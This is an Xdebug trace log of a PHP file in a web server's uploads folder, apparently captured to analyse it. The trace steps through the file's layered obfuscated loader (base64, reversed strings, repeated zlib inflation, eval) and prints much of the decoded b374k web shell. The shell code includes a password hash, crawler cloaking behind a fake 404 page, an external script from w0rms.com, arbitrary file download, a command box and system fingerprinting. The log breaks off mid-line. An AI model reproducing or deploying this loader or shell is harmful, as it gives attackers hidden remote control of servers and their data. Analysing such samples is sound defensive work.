Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:18:45.923559]
1	0	1	0.000253	393528
1	3	0	0.001320	529576	{main}	1		/var/www/html/uploads/teeest.php	0	0
1		A						/var/www/html/uploads/teeest.php	2	$gz = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/teeest.php	3	$gzinflate = '==gUvWNlt4nBt8C/8QwxBckuNdbLJs6ILukjeYxHrkvmvnU4xzdVAu1vWRoDOZb6pTEB9le7vGPB+oUB1thTmsHe44NtyXkySc6Mfb1xWfdgblCCZdORfQUE9VayDcRdjDJv/Qxg3A91eucd1LejBOIFLbaZ6iwWg6utvWrqk5e4zL833/2LjGNx2hr4K1sguEadsDAR7wmcdMyJjp1hZ7eypjsla+tZHS/CBV/YkMY5qWDPwRXf2O7byPupteBywmOGaFfMKrF6yLBEdY6JGltEO5dBWDid4yVXjpf72ixq2zEbBv80mwgLnuPyadOng0IVlgQqncFqEXMjh5CuQWQwLg4bRk+Lkn+Fcd002y4bvB9OcyPl3RvTUs6qruoFDqQQJFrg6naeguRo3Oe/tlnJCqUsJH+FTpIa7CahxobhVxs2+CsoBFWZYzhKLvq0OhCJRAKQU+tnpj+20FL4Ev11CVJR6w2IQ1f19KY5tu4o7hRLbnrm1b/zY6djv15G'
2	4	0	0.001478	529576	base64_decode	0		/var/www/html/uploads/teeest.php	4	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.001501	529864
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.001523	529832	urldecode	0		/var/www/html/uploads/teeest.php	4	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.001543	530088
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.001562	529800	htmlspecialchars_decode	0		/var/www/html/uploads/teeest.php	4	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.001581	530024
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.001616	532152	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/teeest.php	4	0
3	8	0	0.001633	532152	strrev	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'==gUvWNlt4nBt8C/8QwxBckuNdbLJs6ILukjeYxHrkvmvnU4xzdVAu1vWRoDOZb6pTEB9le7vGPB+oUB1thTmsHe44NtyXkySc6Mfb1xWfdgblCCZdORfQUE9VayDcRdjDJv/Qxg3A91eucd1LejBOIFLbaZ6iwWg6utvWrqk5e4zL833/2LjGNx2hr4K1sguEadsDAR7wmcdMyJjp1hZ7eypjsla+tZHS/CBV/YkMY5qWDPwRXf2O7byPupteBywmOGaFfMKrF6yLBEdY6JGltEO5dBWDid4yVXjpf72ixq2zEbBv80mwgLnuPyadOng0IVlgQqncFqEXMjh5CuQWQwLg4bRk+Lkn+Fcd002y4bvB9OcyPl3RvTUs6qruoFDqQQJFrg6naeguRo3Oe/tlnJCqUsJH+FTpIa7CahxobhVxs2+CsoBFWZYzhKLvq0OhCJRAKQU+tnpj+20FL4Ev11CVJR6w2IQ1f19KY5tu4o7hRLbnrm1b/zY6djv15G'
3	8	1	0.001777	667352
3	8	R			'AEiAt38AR4C4fwBCgL1/eJwAQoC9f3ic7P15d+JI0igO/119Tn8HNeMZ7HGVEZttqsruZl8MmH3r7uujDRBowUisM30/+xuRKQmJxQbbNc+d3/tUdxUgZUZGRkbGkhkZ+f3XyXDC/PzTzz8F/smctyWeqQ8lRWH48E1kzEzDAiuGRYZfMUt/ULsJC+a/RanPzRSTmXCG8dXH0KeyrjG+C+afAQB1xs3M4RO+Zu4YX0y4ZbmgxAncdSwmhfrCNR+LRW5Cwf7tDRvmBd83rCLoij7F4n9j2X6fZelTq6knjjZwx/gzsiIZJU7z4/vf4L2sSef+erqYearEGzn/Z+bpKZMvpp+eLrCE3D9nDHM60Y3zs6d6utZK13735xqNylMTfj3Fs+lyw//nZ39W1weK5L9gfrm7Y/qcYkjMBfMvAMDAn6HEidL0nNQLBK9YJsJGmLJuMhl9pol+0hCWk5ayid//QtQMyTAA5yfD5KbmOSnzmzSd6tOnqTTRp6asDc5Z'
3	9	0	0.001889	667320	base64_decode	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'AEiAt38AR4C4fwBCgL1/eJwAQoC9f3ic7P15d+JI0igO/119Tn8HNeMZ7HGVEZttqsruZl8MmH3r7uujDRBowUisM30/+xuRKQmJxQbbNc+d3/tUdxUgZUZGRkbGkhkZ+f3XyXDC/PzTzz8F/smctyWeqQ8lRWH48E1kzEzDAiuGRYZfMUt/ULsJC+a/RanPzRSTmXCG8dXH0KeyrjG+C+afAQB1xs3M4RO+Zu4YX0y4ZbmgxAncdSwmhfrCNR+LRW5Cwf7tDRvmBd83rCLoij7F4n9j2X6fZelTq6knjjZwx/gzsiIZJU7z4/vf4L2sSef+erqYearEGzn/Z+bpKZMvpp+eLrCE3D9nDHM60Y3zs6d6utZK13735xqNylMTfj3Fs+lyw//nZ39W1weK5L9gfrm7Y/qcYkjMBfMvAMDAn6HEidL0nNQLBK9YJsJGmLJuMhl9pol+0hCWk5ayid//QtQMyTAA5yfD5KbmOSnzmzSd6tOnqTTRp6asDc5Z'
3	9	1	0.002321	802520
3	9	R			'\000H\000G\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2'
3	10	0	0.004090	667320	gzinflate	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'\000H\000G\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2'
3	10	1	0.005908	769752
3	10	R			'\000G\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017'
3	11	0	0.007865	634552	gzinflate	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'\000G\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017'
3	11	1	0.009690	736984
3	11	R			'\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<'
3	12	0	0.011915	634552	gzinflate	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'\000Bx\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<'
3	12	1	0.013778	736984
3	12	R			'x\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<"%\f'
3	13	0	0.015540	634552	gzuncompress	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'x\000BxywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<"%\f'
3	13	1	0.017450	736984
3	13	R			'xywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<"%\f*|0C:'
3	14	0	0.019227	634552	gzuncompress	0		/var/www/html/uploads/teeest.php(4) : eval()'d code	1	1	'xywH(\016]}N\a5\031q\021mf_\f}\r\020hH3}?\033)\t\0065ϝTw\025 eFFFFƒ\031\031p?\005ɜ%\017%EaMdL\002+E_1KP\t\vE\024pЧ1\v\001\000u\023f\030_Le\tu,&5\037EnB\r\033\0057">c~eS\'6p3"\031%NཬIzy\0339g)/.?g\fs:эzJ~\032S\023~=ųrgV\a`~cbH\005/\000ĉ\v\004X&Fn2\031}~\020B\f0\000\'9)4ӧ4ѧ\rYX\'C2\017bq-<"%\f*|0C:'
3	14	1	0.022069	986840
3	14	R			'<?php \r\n\r\n/* (Web Shell b374k r3c0d3d by x\'1n73ct|default pass:" 1n73ction ") */ \r\n$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc"; \r\n$color = "#00ff00"; \r\n$default_action = \'FilesMan\'; \r\n@define(\'SELF_PATH\', __FILE__); \r\nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { \r\n    header(\'HTTP/1.0 404 Not Found\'); \r\n    exit; \r\n} \r\n@session_start(); \r\n@error_reporting(0); \r\n@ini_set(\'error_log\',NULL); \r\n@ini_set(\'log_errors\',0); \r\n@ini_set(\'max_executio'
3	15	0	0.028212	1962256	eval	1	'?><?php \r\n\r\n/* (Web Shell b374k r3c0d3d by x\'1n73ct|default pass:" 1n73ction ") */ \r\n$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc"; \r\n$color = "#00ff00"; \r\n$default_action = \'FilesMan\'; \r\n@define(\'SELF_PATH\', __FILE__); \r\nif( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { \r\n    header(\'HTTP/1.0 404 Not Found\'); \r\n    exit; \r\n} \r\n@session_start(); \r\n@error_reporting(0); \r\n@ini_set(\'error_log\',NULL); \r\n@ini_set(\'log_errors\',0); \r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0); \r\n@ini_set(\'display_errors\', 0);\r\n@set_time_limit(0); \r\n@set_magic_quotes_runtime(0); \r\n@define(\'VERSION\', \'2.1\'); \r\nif( get_magic_quotes_gpc() ) { \r\n    function stripslashes_array($array) { \r\n        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); \r\n    } \r\n    $_POST = stripslashes_array($_POST); \r\n} \r\nfunction printLogin() { \r\n    ?> \r\n<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>\r\n<h1>Not Found</h1> \r\n<p>The requested URL was not found on this server.</p> \r\n<hr> \r\n<address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address> \r\n    <style> \r\n        input { margin:0;background-color:#fff;border:1px solid #fff; } \r\n    </style> \r\n    <center> \r\n    <form method=post> \r\n    <input type=password name=pass> \r\n    </form></center> \r\n    <?php \r\n    exit; \r\n} \r\nif( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) \r\n    if( empty( $auth_pass ) || \r\n        ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) \r\n        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; \r\n    else \r\n        printLogin();\r\n\t\t\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'output_buffering\',0);\t\r\nif(isset($_GET[\'dl\']) && ($_GET[\'dl\'] != "")){\r\n\t$file = $_GET[\'dl\'];\r\n\t$filez = @file_get_contents($file);\r\n   header("Content-type: application/octet-stream"); \r\n   header("Content-length: ".strlen($filez)); \r\n   header("Content-disposition: attachment; filename=\\"".basename($file)."\\";");\r\n   echo $filez; \r\n    exit; \r\n}\r\nelseif(isset($_GET[\'dlgzip\']) && ($_GET[\'dlgzip\'] != "")){\r\n\t$file = $_GET[\'dlgzip\'];\r\n\t$filez = gzencode(@file_get_contents($file));\r\n   header("Content-Type:application/x-gzip\\n"); \r\n   header("Content-length: ".strlen($filez)); \r\n   header("Content-disposition: attachment; filename=\\"".basename($file).".gz\\";");\r\n   echo $filez; \r\n    exit; \r\n}\r\n// view image\r\nif(isset($_GET[\'img\'])){\r\n\t\t@ob_clean(); \r\n\t\t$d = magicboom($_GET[\'y\']);\r\n\t\t$f = $_GET[\'img\'];\r\n\t\t$inf = @getimagesize($d.$f); \r\n   \t\t$ext = explode($f,"."); \r\n   \t\t$ext = $ext[count($ext)-1]; \r\n   \t \t@header("Content-type: ".$inf["mime"]);\r\n   \t \t@header("Cache-control: public"); \r\n  \t\t@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); \r\n  \t\t@header("Cache-control: max-age=".(60*60*24*7));  \r\n   \t \t@readfile($d.$f); \r\n   \t \texit; \r\n}\r\n\r\n// server software\r\n$software = getenv("SERVER_SOFTWARE");\r\n// check safemode\r\nif (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;\r\n// uname -a\r\n$system = @php_uname();\r\n// mysql\r\nfunction showstat($stat) {if ($stat=="on") {return "<b><font style=\'color:#00FF00\'>ON</font></b>";}else {return "<b><font style=\'color:#DD4736\'>OFF</font></b>";}}\r\nfunction testmysql() {if (function_exists(\'mysql_connect\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testcurl() {if (function_exists(\'curl_version\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testwget() {if (exe(\'wget --help\')) {return showstat("on");}else {return showstat("off");}}\r\nfunction testperl() {if (exe(\'perl -h\')) {return showstat("on");}else {return showstat("off");}}\r\n// check os\r\nif(strtolower(substr($system,0,3)) == "win") $win = TRUE;\r\nelse $win = FALSE; \r\n// change directory\r\nif(isset($_GET[\'y\'])){\r\n\tif(@is_dir($_GET[\'view\'])){\r\n\t\t$pwd = $_GET[\'view\'];\r\n\t\t@chdir($pwd);\r\n\t}\r\n\telse{\r\n\t\t$pwd = $_GET[\'y\'];\r\n\t\t@chdir($pwd);\r\n\t}\r\n}\r\n//hdd\r\nfunction convertByte($s) {\r\nif($s >= 1073741824)\r\nreturn sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';\r\nelseif($s >= 1048576)\r\nreturn sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';\r\nelseif($s >= 1024)\r\nreturn sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';\r\nelse\r\nreturn $s .\' B\';\r\n}\r\n\r\n// username, id, shell prompt and working directory\r\nif(!$win){\r\n\tif(!$user = rapih(exe("whoami"))) $user = "";\r\n\tif(!$id = rapih(exe("id"))) $id = "";\r\n\t$prompt = $user." \\$ ";\r\n\t$pwd = @getcwd().DIRECTORY_SEPARATOR;\r\n}\r\nelse {\r\n\t$user = @get_current_user();\r\n\t$id = $user;\r\n\t$prompt = $user." &gt;";\r\n\t$pwd = realpath(".")."\\\\";\r\n\t// find drive letters\r\n \t$v = explode("\\\\",$d); \r\n\t$v = $v[0]; \r\n \tforeach (range("A","Z") as $letter) \r\n \t{ \r\n\t  $bool = @is_dir($letter.":\\\\");\r\n\t  if ($bool) \r\n\t  { \r\n \t\t  $letters .= "<a href=\\"?y=".$letter.":\\\\\\">[ ";\r\n\t\t   if ($letter.":" != $v) {$letters .= $letter;} \r\n\t\t   else {$letters .= "<span class=\\"gaya\\">".$letter."</span>";} \r\n\t\t   $letters .= " ]</a> "; \r\n  \t  }\t \r\n } \r\n}\r\n\r\nfunction testoracle() {\r\n    if (function_exists(\'ocilogon\')) { return showstat("on"); }\r\n    else { return showstat("off"); }\r\n    }\r\n\r\nfunction testmssql() {\r\n    if (function_exists(\'mssql_connect\')) { return showstat("on"); }\r\n    else { return showstat("off"); }\r\n    }\r\n\r\n function showdisablefunctions() {\r\n    if ($disablefunc=@ini_get("disable_functions")){ return "<span style=\'color:\'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }\r\n    else { return "<span style=\'color:#00FF1E\'><b>NONE</b></span>"; }\r\n    }\r\n\t\r\nif(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;\r\nelse $posix = FALSE;\r\n// server ip\r\n$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);\r\n// your ip ;-)\r\n$my_ip = $_SERVER[\'REMOTE_ADDR\'];\r\n$admin_id=$_SERVER[\'SERVER_ADMIN\'];\r\n$bindport = "13123";\r\n$bindport_pass = "b374k";\r\n\r\n// separate the working direcotory\r\n$pwds = explode(DIRECTORY_SEPARATOR,$pwd);\r\n$pwdurl = "";\r\nfor($i = 0 ; $i < sizeof($pwds)-1 ; $i++){\r\n\t$pathz = "";\r\n\tfor($j = 0 ; $j <= $i ; $j++){\r\n\t\t$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;\r\n\t}\r\n\t$pwdurl .= "<a href=\\"?y=".$pathz."\\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";\r\n}\r\n\t\r\n// rename file or folder\r\nif(isset($_POST[\'rename\'])){\r\n\t$old = $_POST[\'oldname\'];\r\n\t$new = $_POST[\'newname\'];\r\n\t@rename($pwd.$old,$pwd.$new);\r\n\t$file = $pwd.$new;\r\n}\r\nif(isset($_POST[\'chmod\'])){ \r\n\t$name = $_POST[\'name\'];\r\n\t$value = $_POST[\'newvalue\'];\r\nif (strlen($value)==3){\r\n\t$value = 0 . "" . $value;}\r\n\t@chmod($pwd.$name,octdec($value));\r\n\t$file = $pwd.$name;}\r\n\t\r\nif(isset($_POST[\'chmod_folder\'])){\r\n\t$name = $_POST[\'name\'];\r\n\t$value = $_POST[\'newvalue\'];\r\nif (strlen($value)==3){\r\n\t$value = 0 . "" . $value;}\r\n\t@chmod($pwd.$name,octdec($value));\r\n\t$file = $pwd.$name;}\r\n\r\n\r\n// print useful info\r\n$buff  = "Software : <b>".$software."</b><br />";\r\n$buff .= "System OS : <b>".$system."</b><br />";\r\nif($id != "") $buff .= "ID : <b>".$id."</b><br />";\r\n$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";\r\n$buff .= "Server ip : <b>".$server_ip."</b> <span class=\\"gaya\\"> | </span> Your   ip : <b>".$my_ip."</b><span class=\\"gaya\\"> | </span> Admin : <b>".$admin_id."</b><br />";\r\n$buff .= "Free Disk: "."<span style=\'color:#00FF1E\'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";\r\nif($safemode) $buff .= "Safemode: <span class=\\"gaya\\"><b>ON</b></span><br />";\r\nelse $buff .= "Safemode: <span class=\\"gaya\\"><b>OFF</b></span><br />";\r\n$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";\r\n$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";\r\n$buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";\r\n\r\n\r\n\r\n\r\nfunction rapih($text){\r\n\treturn trim(str_replace("<br />","",$text));\r\n}\r\n\r\nfunction magicboom($text){\r\n\tif (!get_magic_quotes_gpc()) {\r\n   \t\t return $text;\r\n\t} \r\n\treturn stripslashes($text);\r\n}\r\n\r\nfunction showdir($pwd,$prompt){\r\n\t$fname = array();\r\n\t$dname = array();\r\n\tif(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;\r\n\telse $posix = FALSE;\r\n\t$user = "????:????";\r\n\tif($dh = @scandir($pwd)){\r\n\t\tforeach($dh as $file){\r\n\t\t\tif(is_dir($file)){\r\n\t\t\t\t$dname[] = $file;\r\n\t\t\t}\r\n\t\t\telseif(is_file($file)){\r\n\t\t\t\t$fname[] = $file;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse{\r\n\t\tif($dh = @opendir($pwd)){\r\n\t\t\twhile($file = @readdir($dh)){\r\n\t\t\t\tif(@is_dir($file)){\r\n\t\t\t\t\t$dname[] = $file;\r\n\t\t\t\t}\r\n\t\t\t\telseif(@is_file($file)){\r\n\t\t\t\t\t$fname[] = $file;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t@closedir($dh);\r\n\t\t}\r\n\t}\r\n\r\n\t\r\n\tsort($fname);\r\n\tsort($dname);\r\n\t$path = @explode(DIRECTORY_SEPARATOR,$pwd);\r\n\t$tree = @sizeof($path);\r\n\t$parent = "";\r\n\t$buff = "\r\n\t<form action=\\"?y=".$pwd."&amp;x=shell\\" method=\\"post\\" style=\\"margin:8px 0 0 0;\\">\r\n\t<table class=\\"cmdbox\\" style=\\"width:50%;\\">\r\n\t<tr><td><b>$prompt</b></td><td><input onMouseOver=\\"this.focus();\\" id=\\"cmd\\" class=\\"inputz\\" type=\\"text\\" name=\\"cmd\\" style=\\"width:400px;\\" value=\\"\\" /><input class=\\"inputzbut\\" type=\\"submit\\" value=\\"Go !\\" name=\\"submitcmd\\" style=\\"width:80px;\\" /></td></tr>\r\n\t</form>\r\n\t<form action=\\"?\\" method=\\"get\\" style=\\"margin:8px 0 0 0;\\">\r\n\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t<tr><td><b>view file/folder</b></td><td><input onMouseOver=\\"this.focus();\\" id=\\"goto\\" class=\\"inputz\\" type=\\"text\\" name=\\"view\\" style=\\"width:400px;\\" value=\\"".$pwd."\\" /><input class=\\"inputzbut\\" type=\\"submit\\" value=\\"View !\\" name=\\"submitcmd\\" style=\\"width:80px;\\" /></td></tr>\r\n\t</form></table><table class=\\"explore\\">\r\n\t<tr><th>name</th><th style=\\"width:80px;\\">size</th><th style=\\"width:210px;\\">owner:group</th><th style=\\"width:80px;\\">perms</th><th style=\\"width:110px;\\">modified</th><th style=\\"width:190px;\\">actions</th></tr>\r\n\t";\r\n\tif($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;\r\n\telse $parent = $pwd;  \r\n\r\n\tforeach($dname as $folder){\r\n\t\tif($folder == ".") {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a href=\\"?y=".$pwd."\\">$folder</a></td><td>LINK</td>\r\n\t\t\t<td style=\\"text-align:center;\\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>\r\n\t\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\\"titik1\\">\r\n\t\t\t<a href=\\"?y=$pwd&amp;edit=".$pwd."newfile.php\\">newfile</a> | <a href=\\"javascript:tukar(\'titik1\',\'titik1_form\');\\">newfolder</a></span>\r\n\t\t\t<form action=\\"?\\" method=\\"get\\" id=\\"titik1_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:140px;\\" type=\\"text\\" name=\\"mkdir\\" value=\\"a_new_folder\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" style=\\"width:35px;\\" value=\\"Go !\\" />\r\n\t\t\t</form></td>\r\n\t\t\t\r\n\t\t\t</tr>\r\n\t\t\t";\r\n\t\t}\r\n\t\telseif($folder == "..") {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a href=\\"?y=".$parent."\\"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX